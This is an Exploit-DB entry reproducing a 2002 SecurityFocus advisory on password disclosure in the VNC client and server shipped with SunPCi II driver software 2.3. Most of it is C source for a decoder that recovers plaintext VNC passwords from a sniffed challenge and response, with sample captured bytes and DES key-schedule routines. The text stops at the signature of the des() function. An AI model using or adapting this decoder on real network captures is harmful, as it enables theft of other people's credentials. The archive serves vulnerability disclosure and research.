Exploit-DB #21592
Description: Sun SunPCi II VNC Software 2.3 - Password Disclosure
Type: local
Platform: unix
Date: 2002-07-03
Author: Richard van den Berg

Exploit:
// source: https://www.securityfocus.com/bid/5146/info


The SunPCi II card is a co-processor for a number of Solaris based systems, and provides PC software compatibility, including the ability to run Microsoft Windows. Driver software is available for the SunPCi card, including a Virtual Network Computing (VNC) client and server.

A weakness in the authentication scheme used by the VNC client and server may result in the disclosure of user passwords. An attacker able to sniff unencrypted network traffic during the VNC authentication process may trivially recover the plaintext password.

Exploitation will not be possible if network traffic is encrypted with an additional secure layer, such as SSL.

Reportedly, the VNC software was first included in version 2.3 of the SunPCi Driver Software. 

/* real quick SunPCi VNC password decoder */

/* tested on Linux and Solaris; no warranties */

/* all code is ripped, therefore I take no credit */



#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <time.h>

#include <sys/types.h>

#include <sys/stat.h>



#define MAXPWLEN 8

#define CHALLENGESIZE 16

#define EN0     0       /* MODE == encrypt */

#define DE1     1       /* MODE == decrypt */



extern int vncEncryptPasswd(char *passwd, char *fname);

extern char *vncDecryptPasswd(char *fname, unsigned char *key);

extern void vncRandomBytes(unsigned char *bytes);

extern void vncEncryptBytes(unsigned char *bytes, const char *passwd);

extern void deskey(unsigned char *, int);

extern void usekey(unsigned long *);

extern void cpkey(unsigned long *);

extern void des(unsigned char *, unsigned char *);





int main (void){



/* put the first 8 bytes of your sniffed challenge here in challenge[] */

unsigned char challenge[] = {0x87,0x5d,0x28,0xf3,0x54,0x2d,0xa9,0xe8};

/* put the first 8 bytes of your sniffed response here in response[] */

char response[]={0x0d, 0xfc, 0xc6, 0xfc, 0x62, 0xc2, 0x18, 0x0e};



printf("%s\n",vncDecryptPasswd(response,challenge));

exit(0);

}





char *

vncDecryptPasswd(char *inouttext, unsigned char *key)

{

    unsigned char *passwd = (unsigned char *)malloc(9);



    deskey(key, DE1);

    des(inouttext, passwd);



    passwd[8] = 0;



    return (char *)passwd;

}





static void scrunch(unsigned char *, unsigned long *);

static void unscrun(unsigned long *, unsigned char *);

static void desfunc(unsigned long *, unsigned long *);

static void cookey(unsigned long *);



static unsigned long KnL[32] = { 0L };

static unsigned long KnR[32] = { 0L };

static unsigned long Kn3[32] = { 0L };

static unsigned char Df_Key[24] = {

	0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,

	0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10,

	0x89,0xab,0xcd,0xef,0x01,0x23,0x45,0x67 };



static unsigned short bytebit[8]	= {

	01, 02, 04, 010, 020, 040, 0100, 0200 };



static unsigned long bigbyte[24] = {

	0x800000L,	0x400000L,	0x200000L,	0x100000L,

	0x80000L,	0x40000L,	0x20000L,	0x10000L,

	0x8000L,	0x4000L,	0x2000L,	0x1000L,

	0x800L, 	0x400L, 	0x200L, 	0x100L,

	0x80L,		0x40L,		0x20L,		0x10L,

	0x8L,		0x4L,		0x2L,		0x1L	};



/* Use the key schedule specified in the Standard (ANSI X3.92-1981). */



static unsigned char pc1[56] = {

	56, 48, 40, 32, 24, 16,  8,	 0, 57, 49, 41, 33, 25, 17,

	 9,  1, 58, 50, 42, 34, 26,	18, 10,  2, 59, 51, 43, 35,

	62, 54, 46, 38, 30, 22, 14,	 6, 61, 53, 45, 37, 29, 21,

	13,  5, 60, 52, 44, 36, 28,	20, 12,  4, 27, 19, 11,  3 };



static unsigned char totrot[16] = {

	1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 };



static unsigned char pc2[48] = {

	13, 16, 10, 23,  0,  4,  2, 27, 14,  5, 20,  9,

	22, 18, 11,  3, 25,  7, 15,  6, 26, 19, 12,  1,

	40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,

	43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 };



void deskey(key, edf)	/* Thanks to James Gillogly & Phil Karn! */

unsigned char *key;

int edf;

{

	register int i, j, l, m, n;

	unsigned char pc1m[56], pcr[56];

	unsigned long kn[32];



	for ( j = 0; j < 56; j++ ) {

		l = pc1[j];

		m = l & 07;

		pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0;

		}

	for( i = 0; i < 16; i++ ) {

		if( edf == DE1 ) m = (15 - i) << 1;

		else m = i << 1;

		n = m + 1;

		kn[m] = kn[n] = 0L;

		for( j = 0; j < 28; j++ ) {

			l = j + totrot[i];

			if( l < 28 ) pcr[j] = pc1m[l];

			else pcr[j] = pc1m[l - 28];

			}

		for( j = 28; j < 56; j++ ) {

		    l = j + totrot[i];

		    if( l < 56 ) pcr[j] = pc1m[l];

		    else pcr[j] = pc1m[l - 28];

		    }

		for( j = 0; j < 24; j++ ) {

			if( pcr[pc2[j]] ) kn[m] |= bigbyte[j];

			if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j];

			}

		}

	cookey(kn);

	return;

	}



static void cookey(raw1)

register unsigned long *raw1;

{

	register unsigned long *cook, *raw0;

	unsigned long dough[32];

	register int i;



	cook = dough;

	for( i = 0; i < 16; i++, raw1++ ) {

		raw0 = raw1++;

		*cook	 = (*raw0 & 0x00fc0000L) << 6;

		*cook	|= (*raw0 & 0x00000fc0L) << 10;

		*cook	|= (*raw1 & 0x00fc0000L) >> 10;

		*cook++ |= (*raw1 & 0x00000fc0L) >> 6;

		*cook	 = (*raw0 & 0x0003f000L) << 12;

		*cook	|= (*raw0 & 0x0000003fL) << 16;

		*cook	|= (*raw1 & 0x0003f000L) >> 4;

		*cook++ |= (*raw1 & 0x0000003fL);

		}

	usekey(dough);

	return;

	}



void cpkey(into)

register unsigned long *into;

{

	register unsigned long *from, *endp;



	from = KnL, endp = &KnL[32];

	while( from < endp ) *into++ = *from++;

	return;

	}



void usekey(from)

register unsigned long *from;

{

	register unsigned long *to, *endp;



	to = KnL, endp = &KnL[32];

	while( to < endp ) *to++ = *from++;

	return;

	}



void des(inblock, outblock)

unsigned char *inblock, *outblock